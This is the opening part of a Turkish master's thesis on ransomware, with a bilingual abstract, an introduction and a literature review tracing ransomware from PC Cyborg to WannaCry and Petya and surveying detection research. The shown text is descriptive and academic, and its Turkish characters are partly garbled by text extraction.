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OZET

Bu tez calismasinda; siber saldirilardaki pay: giderek artan fidye yazilimlari, fidye yazilim
metodolojileri, tehdit boyutu, verdigi zararlar, kullanilan teknik ve teknolojiler gbézden
gecirilmis, WannaCry zararli yazilimi ile birlikte 0. Giin agikliklar1 kullanarak ¢ok daha
genis bir kitleyi etkileyebilen forma doniisen ve hemen akabinde diinya capinda etkisi olan
diger bir fidye saldirisi olan Petya detayli arastirilmis ve incelenmistir. Bu iki fidye
saldirisina ait kod pargaciklari, verdikleri zararlar, exploit gelistirme dongiisii, saldirganlarin
kullandig1 sistematik ve kullanilan metodolojiler gézden gegirilmistir. Fidye saldirilarinin
anlasilmasi ve belirli bir sistem igerisinde test edilmesi icin kontrollii test ortami
olusturulmus, bu ortamda sistemleri etkileyebilen bir zararli yazilim gelistirilmis, zararli
yazilimin gelistirilme ve incelenme asamasi detayli aciklanmistir. WannaCry ve Petya
zararli yazilimlar1 iizerinde statik ve dinamik analizler yapilarak, bu yazilimlara ait
yaklagimlar incelenmistir. Zararli analiz basamaklarinin belirlenmesi i¢in WannaCry ve
Petya zararli yazilimlari; tersine miithendislik yontemi kullanilarak incelenmis, Derin Web
(Deep Web) arastirmalar1 yapilarak TOR iizerindeki gergek fidye yazilim servisleri tespit
edilmis ve saldirt mekanizmasi tespit edilerek belirtilen fidye saldirilarinin hangi exploit
kodlar1 kullandig1 belirlenmistir. Bu saldirilarin analizleri kurulan bir ag yapisi icerisinde
yapilmistir. Sonug olarak; bu tez calismasinda WannaCry ve Petya zararli yazilimlarina
yonelik tersine miihendislik ve teknik analiz ¢alismalar1 yapilmis, fidye saldirilarinin
ayirtedici Ozellikleri ele alinmis ve etki birakmis fidye saldirilarinin siiflandirmasi
gerceklestirilmis, exploit gelistirme ve irdeleme adimlari incelenmis, gergeklestirilen teknik
analizlerden elde edilen ¢ikarimlar temel alinarak bu tiir saldirilardan korunmak igin kisisel,
kurumsal ve ulusal 6l¢ekte Onerilerde bulunulmustur. Ayrica kurumsal onlemler basligi
altinda saldirilardan korunmak i¢in bir ag topolojisi lizerinden ¢6ziim Onerileri sunulmus,
iilkemizde benzer saldirilarin olmasi durumunda hangi Onlemlerin alinmasi1 gerektigi
hususunda da goriislere yer verilmistir.
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ABSTRACT

In this thesis study, ransomware which is steadily increasing part of cyber attack and also
threat dimension, attack damage, useful technology and technical capacity was examined.
The WannaCry, a ransom attack that turns into a form that can affect a much wider mass,
and which immediately follows worldwide, is explored and studied with other important
ransomware attack Petya.The code fragments belonging to these two ransom attacks, the
damage they inflicted, the cycle of exploit development, systematic and methodologies used
by attackers are examined. A controlled testing environment has been developed to
understand the ransomware and to test them in a specific system. Moreover, a harmful
software which can affect the systems has been developed and the development process of
malicious software has been explained in detail. Also, WannaCry and Petya are analyzed
statically and dynamically and analysis techniques for malicious software and the
approaches of these software are examined. However, WannaCry and Petya malicious
software analyzed with reverse engineering method to determine malicious analysis steps.
The Deep Web researches have been carried out to determine the actual ransomware services
on TOR and to detect the attack mechanism of the exploit codes of the identified ransom
attacks. Analyzes of these attacks have been carried out in a network test structure
established. As a result, in this thesis study, in order to prevent from these types of attacks
the reverse engineering and technical analysis studies for WannaCry and Petya malicious
software are achieved, the distinguishing features of the ransomware are studied the steps of
exploiting and investigating the exploited ransomware are examined, exploit development
and scrutinizing steps are investigated in national scale. The suggestions are also proposed
under heading of institutional measures. A network topology solution has been proposed. In
this way, opinions are presented about what measures should be taken in case of similar
attacks in our country.
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SIMGELER VE KISALTMALAR

Bu calismada kullanilmis bazi kisaltmalar, agiklamalar ile birlikte asagida sunulmustur.
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HTML
HTTP
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1. GIRIS

Hizla gelisen diinyada teknolojinin ilerlemesiyle insanlarin hayatlarini kolaylastirict birgok
icat ve yenilik hayatimiza girmis durumdadir. Bu yeniliklerin en 6nemlileri arasinda ise
internet aglarinin kesfi, insanlarin bilgi paylasimindaki bliyiime ve internetin insan hayati

icin sagladig kolayliklar sayilabilir.

Internet kullanimi1 son 20 y1l icerisinde biiyiik mesafe kaydetmis hayatimizin her asamasina
girmistir. Uluslararas1 Telekomiinikasyon Birliginin verilerine gore;

* 2000 yilinda internete bagli insan sayisinin 360 milyon oldugu,

* 2005 yilinda internetin 1 milyarinci iiyesine ulastigi,

* 2011 yilinda internete bagli insan sayisinin 2 milyar1 gectigi,

2020 yilinda ise diinyada herkesin internete kavusacagi belirtilmektedir [1].

Gerek internet kullanict sayisinin artmasi gerekse hayatimizin her alaninda interneti
kullanmaya baglamamiz sebebiyle artan kullanim siklig1 bir¢ok giivenlik a¢igin1 beraberinde
getirmistir. Hayatin her alaninda birgok uygulama ve yaklasim marifetiyle kullanilan
internet, insanlarin yagamini kolaylastirmakla beraber, bu alan1 kendi ¢ikarlari i¢in kullanan
ve genel ifadeyle siber saldirganlar olarak adlandirabilecegimiz insanlarin da varolmasina
zemin olusturmustur. Teknolojinin gelisimiyle dogru orantili olarak sistemleri kirabilen,
sistem zaafiyetlerini analiz edebilen ve bu yeteneklerini kotii niyetli kullanabilen insan
sayisinda da artig goriilmiistiir. Siyah sapkali saldirgan(hacker) adi verilen bu kisiler para,
iin ve cesitli cikarlar1 icin sistemleri kirarak bundan kazanc elde etmektedirler. Internet
ortaminda kullanilan bir¢ok teknoloji olusturulma amacinin disinda bu sahislar tarafindan
kullanilabilmektedir. Internet ortaminda gerceklestirilen saldirilarin bazilar1 hazir araglari
kullanan ve bilgi seviyesi diisiikk sahislar (lamer, script kiddie vb.) tarafindan
gerceklestirilmekle birlikte, baz1 saldirilar yazilim, ag teknolojisi, sistem mimarisi, internet
altyapisi1 gibi bircok disipline hakim ve bu alanlarda alisgilmisin disinda kullanilabilecek
zaafiyetleri tespit etme ve bunlart kullanabilme yetenegine sahip saldirganlar (hacker)
tarafindan gergeklestirilmektedir. Saldirgan (hacker) olarak adlandirilan bu sahislar
gerceklestirdikleri siber saldirilart kisisel ¢ikarlar, para, {in vb. motivasyonlar i¢in tek basina
gerceklestirebildikleri gibi, saldir1 takimi (hacking team) olarak adlandirdiklart ve birden
fazla saldirganin bir araya gelerek ortak saldiri diizenledikleri ekipler halinde de
yapabilmektedir. Farkli yeteneklere sahip birden fazla saldirganin bir araya gelerek



olusturduklart ekibin, tek basina gergeklesen siber saldirilardan ¢ok daha yiiksek yikici
etkiye sahip oldugu bilinmektedir. Saldirganlardan olusan bu ekipler bir¢ok farkli olusumun
yasadist isleri i¢in kiralanabilmekte veya satin alinabilmektedir. Ozellikle kritik sektdrde
faaliyet yiirliten uluslararasi firmalar, yasadis1 is yapan olusumlar ve terdr orgiitleri bu
yapilari sik olarak kullanmaktadirlar. Bu ekiplerin yani sira espiyonaj, bilgi hirsizligi, Snemli
sirlart ¢almak i¢in yapilan siber saldirilarin arkasinda devletler olabilmektedir. 2013 ‘te
yapilan bir aragtirma sonucunda McAfee raporlarina gore siber suglarin diinya ekonomisine
500 milyar dolara mal oldugu agiklanmistir [1]. Agciklanan rakamin yaklasik olarak

diinyadaki uyusturucu trafiginin maliyetine denk oldugu diisiiniilmektedir.

Saldirganlar genel olarak bir siber saldir1 gerg¢eklestireceginde daha dnce tespit edilmis ve
yer altt (underground) olarak adlandirdiklari internet ortamindan temin edebildikleri
zaafiyetleri ve bu zaafiyetleri somiirmek iizere yazilmis kod dizimlerini (payload)
kullanmaktadirlar. Her 1,5 saniyede yeni bir zararli yazilimin piyasaya striildigi
diistintildiginde tablo korkutucu olmaktadir[1]. Bir diger dikkat ¢ekici ve bir o kadar
irkiitlicii gercek ise saldirganlar tarafindan kullanilan araglar internet iizerinden satilarak
araglarin kullanimi hakkinda profesyonel destek servisi verilmektedir. DDOS saldir1 araci
kullanilarak bir internet sitesini ¢okertmek ¢ok kolay hale gelmistir. Sadece siber silah satin
alan siradan bir kisi dahi biiylik ¢apl siber saldir1 eylemleri gergeklestirebilmektedir.
Internetten kolayca satin alinilabilen DDOS servisleri igin anlatimlar video kanallarinda

rahatlikla bulunabilmektedir.

Verizon tarafindan 2013’te yayinlanan Veri Ihlali Arastirma Raporuna gore saldirganlarin
bilgi sistemine izinsiz erismesi durumunda bir¢ok sirketin bu olayr tespit edemeyecek
durumda oldugu anlasilmistir. Yayinlanan raporda saldir1 bigimleri siniflandirilmistir [2].
Rapora gore en yaygin siber saldirilarin basinda kredi kart1 hirsizligr gelmektedir. Diger
dikkat ¢eken siber saldirilar ise malware kullanilarak izinsiz veri ¢alma, oltalama saldirilar

(phishing) ve keylogger saldirilaridir.
Sirketlere yonelik yapilan siber saldirilarin %62’si en az iki ay sonra anlasilmaktadir.

Trustware sirketi tarafindan yapilan bir arastirmaya goére APT saldirilar ile sisteme sizan

kotii niyetli kisilerin sisteme giris yaparak yerlestikleri gercegi, ortalama 210 giin gibi bir



stirede ortaya ¢ikmaktadir. Bu olayin ortaya cikist ise %92 oraninda kizgin miisteriler ve

sikayet edenler tarafindan gergeklesmektedir [3].

Verizon tarafindan yapilan bir diger arastirmaya gore saldirganlar aginizi hedef olarak
belirledikten sonra denemelerinin %75’inde savunma amagli yapilandirilan sistemleri
rahatlikla dakikalar igerisinde asabilmektedirler. Gergeklestirilen denemelerin %15’inde
slirenin 2 saati buldugu raporda aktarilmaktadir [3]. Yani bir saldirgan (hacker) bir sistemi
hedef aldiginda basar1 oram1 %75 gibi bir oran ¢ikmaktadir. IOT (Internet Of Things) yani
nesnelerin interneti kavraminin ortaya ¢ikisi ile akilli ev sistemlerinden arabalara,
arabalardan telefonlara akliniza gelebilecek bir¢ok cihazin internet istiinden birbirleri ile

caligmasi s6z konusu olmustur.

Her nesnenin internet {izerinden haberlesmesi siber giivenligin 6neminin bir kat daha
arttigin1 gdstermektedir. Internet iizerinden yapilan siber operasyonlar diinya iizerindeki
cografyalar1 degistirilebilecek, borsayr ve ekonomiyi etkileyebilecek kadar gii¢lii hale

gelmistir.

Saldirganlarin 6zellikle para motivasyonu ile gerceklestirdikleri siber saldirilar son 7 yilda
fidye saldirilarina yonelmistir [1,4]. Ozellikle kripto paralarm ortaya ¢ikmasi ve
yayginlagsmasi ile beraber saldirganlar ¢ok fazla insani etkileyen saldirilar yapmayi tercih
etmislerdir. Fidye saldirilarinda ¢ok fazla insan1 madur edebilen saldirganlar ayn1 zamanda
her kurbandan diisik meblaglar temin ederek paranin izinin siiriilmesini de
zorlastirmaktadirlar. Boylelikle ¢ok daha yiiksek geliri iz birakmadan elde edebileceklerini

ongdrmiiglerdir.

Fidye yazilimlar1 bilgisayarlar1 ¢esitli yontemlerle sifreleyerek sifreli dosyalar1 agmak igin
para isteyen yazilimlardir. Saldirganlar siber saldirilarin giiciinden yararlanarak son yillarda
fidye yazilimlari iizerinden ¢ok biiyiik para vurgunlar1 yapmaya baslamiglardir. Son yillarda
fidye yazilimlar gesitlerinde asir1 bir artis goriilmiistiir [4]. 1990 yilindan giiniimiize fidye

saldirilarinin degisimleri detayli olarak literatiir ¢alismasinda aktarilmistir.

Bu tez ¢alismasinda son yillardaki degisen siber saldir1 trendi ile beraber 2017 yilinda
gerceklesen en etkin siber saldirilardan biri olan WannaCry ve Petya fidye saldirilarinin

detayli teknik incelemesi yapilmustir. Ozellikle WannaCry saldiris ile beraber ortaya ¢ikan



0. Giin zaafiyetlerinin fidye saldirilarinda kullanilmasi durumu detaylica aktarilmistir. O.
Glin zaafiyetlerinin fidye saldirilarinda kullanilmasi, fidye saldirilarina karsi alinan
tedbirlerin bir¢ogunu etkisiz kilmis ve tamamen yeni bir ¢aligma alan1 ortaya ¢ikarmistir. Bu
tez calismasinda saldirilarda kullanilan zaafiyetlerden etkilenen sistemler arastirilarak saldir1
metodolojisi ¢ikartilmigtir. Sifirinc1 giin ataklar1 ve fidye yazilimlarmin birlikte nasil
calistirildigr incelenmis, detayl teknik analizler yapilarak, fidye saldirilarindan korunmaya
yonelik kisisel, kurumsal, ulusal tedbirlerin neler olabilecegi hususunda Onerilerde

bulunulmustur.



2. LITERATUR CALISMASI

Fidye yazilimi saldirilar1 (ransomware attack) WannaCry ve Petya ile diinya genelinde
birgok ¢evrenin dikkatini ¢ekmis olsa da 1990’11 yillardan itibaren etkisi artarak devam eden
bir siber saldir1 ¢esididir. Bu tez ¢alismasi kapsaminda; incelenen konu olan fidye saldirilari
alaninda 1990’11 yillardan gilinimiize kadar ne ¢esit saldirilar oldugu, bu saldirilarin nasil
degisim gosterdigi, giiniimiiz siber saldirilarinda fidye saldirilarinin nasil bir agirliginin
oldugu, diger kotiiciil saldirilar ile fidye saldirilar: arasinda ne gibi benzerlikler ve farkliliklar
oldugu, fidye saldirilarinin hangi sistemlere bulasabildigi, 6zellikle WannaCry ve Petya ile
beraber fidye saldirilarinin nasil bir boyut kazandigi, fidye saldirilarindan korunma
yontemleri olarak akademik diinyada ne gibi ¢alismalar yapildig: literatiir ¢alismasinda

aktarilmustir.

Song ve arkadaslarina gore[5], Fidye yazilimlari, servis tarafli somiirme (exploit), oltalama
(phishing), sosyal miihendislik gibi yontemlerle son kullanicilarin bilgisayarlarina bulasan,
bulastig1 bilgisayarlarda 6nemli dosyalar1 sifreleyen ya da ekran, mouse, klavye gibi

birimleri kilitleyen zararli yazilim tiiriidiir [5,6].

Salvi ve Kerkar’a gore [7], fidye yazilimlari, kendi igerisinde alt kirilimlara sahiptir. Bu alt
dallar dosyalar1 ve kisisel verileri sifreleyenler, ekrani kilitleyenler, MBR’a bulasarak

sifreleyenler olmak iizere baslica 3 ¢eside ayrilabilirler.

Fidye yazilimi kavraminin ilk olarak 1989 yilinda harvard da biyolog olan Joseph L. Popp
tarafindan gelistirilen PC Cyborg isimli zararli yazilimla ortaya ¢iktigr savunulmaktadir
[8,9]. Popp tarafindan gelistirilen zararli yazilim 20.000 diskete kopyalanarak diinya saglik
orgiliti  katilmcilarina  gonderilmistir. Diinya saglik orgiitii  ¢alisanlar, disketleri
takmalarmin sonrasinda bilgisayarlarinin tekrar basladigini ve Autoexec.bat dosyasini
degistiren fidye yazilimimin C: dizinini sifrelendigini belirtmiglerdir. Sifrelenen dosyalar
karsihiginda panamadaki bir adrese 1898 gondermeleri istenmistir [7,10]. Fidye yazilimlari

ve kripto-kilitleyiciler lizerine tartisma 1996 yilinda baglamistir [11].

Fidye yazilimlarinin halen giiniimiizde de kullanilan ve ilk defa 1990 yillarindan itibaren
ortaya ¢ikmaya baslayan sekli sahte casus yazilim modelidir[12]. Bu modelde bilgisayarin

isletim sistemini etkileyecek kritik zararli yazilimlarin bulastigi sdylenerek kurbanlardan



para talep edilir [12]. Sistemde herhangi bir sorun olmamasina ragmen bu yontemle birgok

madur sahistan para temin edilmistir.

GPcode zararli yazilimi [13] asimetrik ve simetrik sifrelemeler ile dosyalar sifreledigi igin
ilk profesyonel yaklasimli fidye yazilimlarindan kabul edilmektedir.GPcode zararlisinin ilk
slirimiiniin sifreledigi dosyalar, bagka bir arag ile kolaylikla kirilabilmistir. GPcode iizerinde
kullanilan RC4 Kaspersky Lab tarafindan tespit edilmistir [13]. GPcode 2. Siiriimden
itibaren 660 bit RSA anahtari ile sifreleme gergeklestirmistir. GPcode’un gelistiricileri RSA
ile beraber ilk siirimdeki sifreleme zaafiyetini ¢6zmiis olup daha etkin sifreleme kullanan

zararli yazilimlar olusturmustur [14].

2006 yilinda ise Archiveus ismi verilen trojan yazilimi ile Belgelerim (My documents)
dosyas1 tamamen sifrelenerek sikistirtlip orjinalini silerek para teklif edilmistir. Devam eden
stiregte ayn1 yaklagimla 50.000 in {izerinde zararli yazilim gelistirilmistir [15]. Archiveus 30

basamakli sifre kullanarak sifreleme islemini gergeklestirmistir.

Her ne kadar ilk fidye yazilimi olarak Popp’un gelistirdigi zararli yazilim kabul edilsede,
global olarak farkli iilkelerden birgok insani etkileyen ilk zararli fidye yazilimi1 2013 yilinda
ortaya ¢ikan CyrptoLocker zararli yazilimidir [16,17]. CyrptoLocker" digerlerinden ayiran
en temel 6zelliklerinden biri donem itibariyle kullanilan en giiclii sifreleme yaklagimlarindan
birini kullanmasidir. CyrptoLocker RSA-2048bit sifreleme yaklagimini kullanmistir [18,19].
CyrptoLocker'1 digerlerinden ayiran bir diger kritik 6zellik ise, o doneme kadar gelistirilen
her zararli yazilimin dosya sifrelendikten sonra ¢6zmeye yarayan anahtari (decryption key)
zararl yazilimi bulastirdiklar bilgisayarda birakmalarina karsin, CyrptoLocker't gelistiren
sahislar bu anahtar1 kendi kontroliindeki sunucularda tutmuslardir. Boylelikle kurbanin
bilgisayar1 iizerinde gercgeklestirilen caligmalar ile fidye yazilimmin ¢6zme sifresinin

tespitini engellemislerdir.

2014 yilina gelindiginde ise CryptoWall [18,20] ve CryptoDefence [16,19,20] zararh
yazilimlar1 ortaya ¢ikmistir. Hentliz kirilmamus bir diger giiclii simetrik sifreleme yaklagimi
olan AES'i kullanarak dosyalar1 sifrelemislerdir. 500.000°den fazla sistemin etkilendigi
degerlendirilen bu saldirilarda saldirganlar kimliklerinin desifre olmasini engellemek
amaciyla TOR benzeri anonim aglar1 kullanmislardir [21]. Ayrica 6zellikle para akisinda iz

birakmamak i¢in de bitcoin tarzi yeni yaklagimlari kullanmaya baslamislardir [22].



2015 yilinda TelsaCrypt AES kullanan bir bagka fidye yazilimi olmasina karsin, 170 farkli
dosya formatini sifreleyebilmesi ile diger fidye yazilimlarina gore ¢ok daha fazla madurun
bilgisayarlarinda etkin olmustur. 2016 yilinda birgok farkli isimli benzer 6zellikleri tasiyan
fidye yazilimlarida sistemleri etkilemistir [22-23]. Ayn1 dénemde etkin olan diger zararli
yazihmlar ise; CryptorBit, CTBLocker, SynoLocker, CryptoWall, CryptoBlocker,
OphionLocker, Pclock, CryptoWall, TeslaCrypt, Vaultcrypt, LowLevel04 [24] zararli
yazilimlaridir. Giiniimiizde halen gelistirilmeye ¢alisilan fidye yazilim aileleri ise Cerber,

Spore, Serpent, Petya, WannaCry ve NotPetya aileleridir [25].

Richet [26], fidye yazilim1 (Ransomware) saldirilarinda son yillarda ciddi artiglar oldugunu
raporlamiglardir. Ornegin, Tox adli fidye yazilimi1 2013 yilinda 4.1 milyon civarinda iken,

2014 yilinda 8.8 milyon degerine ulagsmistir.

Scareware ve Locker; Ransomware ailelerinin diinyadaki yikima neden olan en 6nemli
varyantlarindan olarak anilmaktadir. Burada siber saldirganlar; her saldir igin yeni bir
Bitcoin ciizdani olusturmakta ve fidye ddemesi i¢in magdurun kimligini géondermektedir.
Boylelikle saldirganlarin izini siirmek ¢ok daha zor hale gelmistir. TOR aglari, Komuta-

kontrol (Command & Control) sunucusu yapilari gizli iletisim i¢in kullanilmaktadir [27].

Kriptografik fidye yazilimlari; yaklagim olarak her bir veri biitiiniine gore degisen 6zel
uzantilara sahip kullanici verilerini hedeflemektedir. Kullanict verilerine erisim, gelismis
sifreleme algoritmalar ile sifrelenerek engellenir. Boylelikle 6deme gergeklesmedigi
takdirde sifrelenmis verilerin kalict olarak silinecegini belirten tehdit edici mesaj i¢eren not
goriintiilendiginde zararli yazilimin bulastig1 sahis tarafindan inandiric1 bulunabilmektedir.

Bitcoin kripto para yapisi ile deme talep edilir [28].

Giiniimiiz kriptografik fidye yazilim1 gesitleri, sifreleme igin Simetrik (AES, Uglii DES) ve
Asimetrik (RSA, ECC) Anahtar Sifreleme algoritmalarinin bir kombinasyonunu
kullanmaktadir. Kurbanin sisteminde firetilen Simetrik Anahtar kullanilarak kullanici
sistemindeki yer alan degisik formatli veriler sifrelenir. Simetrik anahtar, saldirgan
tarafindan saglanan asimetrik genel anahtar kullanilarak sifrelenirken, karsilik gelen
asimetrik 6zel anahtar, saldirganlar tarafindan kontrol edilen ve genel yaklasim olarak

komuta kontrol sunucu yapisini andiran sunucularda tutulur [29].



Hampton ve Baig[14], Fidye yazilimlarinda degisik anahtarlama, sifreleme ve para transferi
gibi yontemler kullanmaktadir. Bircok farkli sifreleme anahtarimin degerlendirildigi
makalede 28 farkli zararli yazilimin 22 farkli 6zellik bazinda inceleme sonuglar1 rapor

edilmistir [14].

Sittig ve Hardeep [30], fidye yazilimlarmin belli dosya formatlari ile hazirlanarak son
kullanicilara bulastirildigi konusuna deginmistir. Bu dosya uzantilari, exe, zip, rar, 7z, js,
wst, docm, xlsm, pptm, rtf, msi, bat, com, cmd, hta, scr, pif, reg, vbs, cpl, ve jar uzantil

dosyalar olarak adlandirilabilir [30].

Kripto fidye yazilimlari dosyalari sifrelerken, locker olarak gegen kilitleyici zararlilar
bilgisayarlarin bazi iglevlerini Kilitleyerek para talep etmektedirler. Fidye yazilimlarinin
yayilim yontemlerine bakildiginda; trafik yonlendirme, uzaktan dosya indirtme, e-posta eki
ile zararli yazilim génderme, sosyal miihendislik yontemleri ve servis olarak satin alinan

fidye yazilimi servisleri oldugu goriilmektedir [31].

Segovia ve arkadaslar1 [32] gerceklestirdikleri ¢alismada fidye yaziliminin, teknolojiyi
gelistirilme ve icat edilme amacindan farkli kullanarak sosyal miihendislik araciligiyla nasil
insanlara yayildigin1 ortaya koymuslardir. Saldirganlarin, bilgi gilivenligi zincirindeki en
zay1f halkaya yonelerek minimum risk ve ugras ile maksimum sonucu elde etmeye yoneldigi
gergeginin vurgulandigi makalede manipiilasyon ve ikna teknigi uygulanmasi igin sosyal
aglar, e-posta, mobil cihazlar ve Web 2.0 siteleri gibi yeni araclarin kullanildigi belirtilmistir.
Boylelikle saldirganlarin, isletim sistemi, antivirus vb. Sistemleri ve ag1 koruyan giivenlik

onlemlerini gecebildigi ve kurumsal aglara erisim kazanabildigi belirtilmistir [32].

Kitlesel bir saldir1 yontemi olan oltalama saldiris1 (phishing), sosyal miihendisligin etkili bir
saldir1 araci olmakla beraber her kullanicinin kisisel zaafiyetinin tespitinde ve bunun

somiiriilmesinde en kisa zamanda sonuca giden yontemlerin baginda gelmektedir [33].

Andronio ve arkadaglar1 [34] tarafindan; kurbanin sisteminde zararli fidye yaziliminin
calistirilmasinin  sonrasinda, kurbandan para istemek amaciyla gonderilen tehdit edici
icerikteki fidye mesajlarinin analizi yapilarak Android tabanli mobil fidye yazilimlarinin
tespit etmek amaci ile bir teknik gelistirilmistir . Windows platformunda saldirgan tarafindan

birakilan fidye notunun, kurban i¢in goriintiilendikten sonra saptanmasi, gercek zamanli



analizde verilerin hali hazirda sifreli oldugu ic¢in imkansiza yakin oldugu vurgulanan
caligmada android sistemler i¢in saldirganin komuta kontrol sunucusunun tespitinde ilerleme

kat edilebildigi iddia edilmistir [34].

Mercaldo ve arkadaslar1 [35] yaptiklari bir ¢calismada; Bytecode gosterimlerini kullanarak

Android fidye yazilimlarini tespit etmek igin ¢esitli yontemler kullanmustir.

Kharraz ve arkadaslar1 [36] tarafindan, Kkilitleyici fidye yazilimlarini ve sifreleme
yaklagimlarmi tespit etmek igin sistemin saldiridan 6nce ve sonra verilerini ve ekran
goriintiilerini alan bir izleme ydntemi Onerilmistir. Izlenen sistemde (monitoring)
gerceklesen bir fidye saldirisinda sisteme bulagma aninin tespiti ve sistemi nasil etkilediginin
tespiti daha kolay gergeklestirilebilmektedir. Ayrica Onerilen yaklasimda sistemin siirekli

yedegi alindig1 i¢in olasi bir veri kaybinin 6niine kolaylikla gecilebilmektedir.

2017 yilinda Barker ve Kelsey [37] tarafindan, kriptografik teknikleri kullanarak fidye
yazilimlarina karsi proaktif olarak korunma yontemleri onerilmistir. Onerilen giivenlik
onlemleri 6zellikle blok sifreleme modlarini kullanan fidye yazilimlarinin giivenlik agig1 ve
ayni zamanda fidye yazilimi tarafindan yapilan kriptografik API (Uygulama Programlama
Araylizli) c¢agrilarinin dinamik olarak engellenmesini kapsamaktadir. Fakat ozellikle
WannaCry ve Petya gibi karmasik ve ¢oklu yontem kullanan fidye yazilimlarina karsi
herhangi bir ¢6ziim yazarin yaklasiminda yer almamaktadir. Bu yontem uygulandiginda
genel fidye yazilimi1 6rneklemleri géz oniine alindiginda yaklasik %50 basarim saglandigi

belirtilmektedir [37].

Kotii amach yazilimin davranmisimi ve risklerini belirlemek i¢in statik ve dinamik analiz
teknikleri kullanilmaktadir. Statik analiz kotii yazilim orneklerini calistirmadan, kodlar
inceleyerek gergeklestirilen analizdir [38]. Dinamik analiz kotii amagh yazilimi ¢aligtirarak
yazilimin davranis ve etkilerini anlayarak gergeklestirilen analiz ¢esididir [39,40]. Birgok
caligma 6zellikle zararli yazilimlarin giderek daha karmasik hal almasi, analiz ve engelleme
yontemlerine karsi kendini gelistirmesi nedeniyle dinamik analizin ¢ok daha giicli

yanlarinin oldugu vurgulanmaktadir [39-41].

Hasan ve Rahman [42] tarafindan yapilan ¢caligmada fidye yazilimini tespit etmek igin statik

ve dinamik analiz yapilmistir. Yazarlara gore fidye yazilimi 5 ana adimdan olugsmaktadir.
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[lk adim fidye yazilm kodunun mail ya da web aracilifiyla amaglanan makineye
gonderilmesi, 2. Adim kodun g¢aligmasi igin iletisimin baslatilmasi, 3. Adim sistemdeki
onemli dosyalarin aranmasi, 4. Adim bulunan dosyalarin sifrelenmesi, 5. Adim ise bitcoin
tizerinden fidye talebinde bulunulmasidir. Fakat WannaCry, Petya gibi zararli yazilimlarda
kod blogunun ¢ok karmasik olmasindan dolay1 statik ve dinamik analizin yaninda makina
ogrenmesi tabanli yaklasim kullanilmasi gerektigi savunulmustur. Yazarlara gore fidye

yazilimi dinamik analiz ile ¢ok daha rahat anlasilabilmektedir [42].

Kolter ve Maloof, gerceklestirdikleri ¢alismada statik analiz yonteminde makine
ogrenmesine ek olarak veri madenciligi yaklasimini da kullanmiglardir. Siiflandirma ve
tespit caligmalarinda basarimlarini 0.98 true-pozitif degerine getirmislerdir. Caligmalarinda

artiriligmis karar agaci algoritmasinin en iyi performansini elde etmislerdir [43].

Zararlilarin analizi i¢in dinamik ve statik olmak tizere iki ¢esit analiz bi¢imi benimsenmistir.
Bu analiz cesitleri de temel ve ileri seviye analizleri olarak iki ayr1 basliga ayrilmaktadir.
Temel dinamik analizde, kurulan ortamda zararli yazilim cgalistirilarak sistem {izerinde
yaptig1 degisiklikler ve islemler ag trafigi lizerinde analiz edilerek gerceklestirilmektedir. Bu
islemde ileri seviyede yapilan islemler hata ayiklayici (debugger) ve paket ayirict
(disassembler) kullanilarak, c¢alisan zararli yazilimin adim adim ilerletilmesi ile
gerceklestirilmektedir [39,40]. Diger yonden temel statik analizde zararli kod pargacigi
calistirilmadan, 6zet bilgisi internet {izerinden aranarak, baslik kisimlarinin import edildigi
dll dosyalar1 ve karakterlerin paketlenip paketlenmedigine bakilarak analizler
gerceklestirilmektedir. Bahsi gecen calismalar da Ileri seviye statik analiz hata ayiklayic

kullanilarak yapilmaktadir [44].

Song ve arkadaslarina [5] gore, davranigsal analiz yontemi kullanilarak kod analizi i¢in ayri,
davranis analizi i¢in ayr zararli yazilimin gittigi IP adresleri sorguladigi DNS isimleri ve
yonlendirdigi URL adreslerinin kaydedilerek raporlanmasi i¢in ayr1 sunucular kurulmalidir.
Ayrica gergeklestirdikleri analiz ¢alismasinda Process Monitor, Wireshark, Process Explorer
gibi araglar kullanmislardir. Kod analizi kisminda IDA Pro araci kullanilmistir. Ayrica viriis
veri tabanlarma diismemis fidye yazilimlarinin tespiti amaglanarak kapsamli bir model
calismasi yapilmistir. Bu ¢alismada hedef olarak Android isletim sistemi belirlenmis olsada
genel calisma mantigr itibari ile ¢alisma farkli sistemlere de uygulanabilmektedir [5,25].

Antiviriis yazilimlarinin fidye yazilimlart degistirildiginde ve taninmaz hale getirildiginde
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yetersiz kaldig: belirtilerek yeni bir teknik giindeme getirilmistir [5,46]. Bu teknige gore
CPU kullanimi, dosya (I/0) incelemele bilgileri bir veri tabanina kaydedilerek bu bilgiler
1s181inda anormal olan degisiklikler algilanip zararli yazilim tespiti yapilmasi amaglanmistir.
Modelde dosya ozetlerindeki degismeler tespit edilmistir. Ornegin, bir fidye yazilimi.
sifrelenmis uzantili bir dosya olusturdugunda model siiregleri algilamaya baslamaktadir.
Istatistiksel yontemler kullanilarak CPU kullanimi {izerinden yapilan analizde dosyalar igin
I/O oranlarida izlenmektedir. Indirilen uygulamalarda izin kontrolii yapilan bu modelde
GET_TASK, WRITE_SETTINGS, SEN_SMS, BIND_DEVICE_ADMIN gibi izinler

uygulama tarafindan istenildiginde olay algilama mekanizmasida tetiklenmektedir [46,47].

Northeastern Universitesinde yapilan bir calismada ise fidye yazilimi tespiti icin UNVEIL
adi1 verilen bir yaklasim metodu gelistirilmistir. Bu ¢alismada 148.223 tane zararl yazilim
ornegi lzerinde calisilmistir. Calisma fidye yazilimlarimin davraniglarini tespit etmeye
yonelik sistematik ¢oziimler gelistirmek amaciyla gergeklestirilmistir. Normal antiviriisler
tarafindan yakalanamayan 7.572 fidye yazilimi bu model ile tespit edilebilmistir [47]. Bir
fidye yazilimi ¢alistirildiginda kalici bir masaiistii mesaji biraktigi goz 6niine alindigindan
CreateDesktop() API ¢agrilar1 mercek altina alinmistir. Bazi zararli yazilimlar HTML
formunda 6demenin nasil yapilacagi ile ilgili bir dosya olugturmakta ve son kullaniciya bunu
gostermektedir. Bu islemde tespit kriterlerine eklenmistir. Ozel dosyalarin sifrelenmesi ve
silinmesi i¢in kullanilan Windows Secure Deletion API kontrol edilmektedir. Bu ¢alismada
yapay bir kullanici ortam1 olusturularak dosya sistem aktivitelerini monitdr eden uygulama,
model i¢in hazirlanmistir. I/O isteklerinin listesi ¢ikartilarak ¢agrilan API’ler incelenecek
sekilde model olusturulmustur. Erisim 6rnekleri ¢ikartilarak, I/0 data buffer entopy kontrol

mekanizmasi kurulmustur [47].

Chen ve Bridges [48] tarafindan yapilan ¢alismada WannaCry zararli yazilimi sandbox
ortaminda analiz edilmistir. Yazarlar gergeklestirdikleri ¢alismada ingiltere saglik merkezine
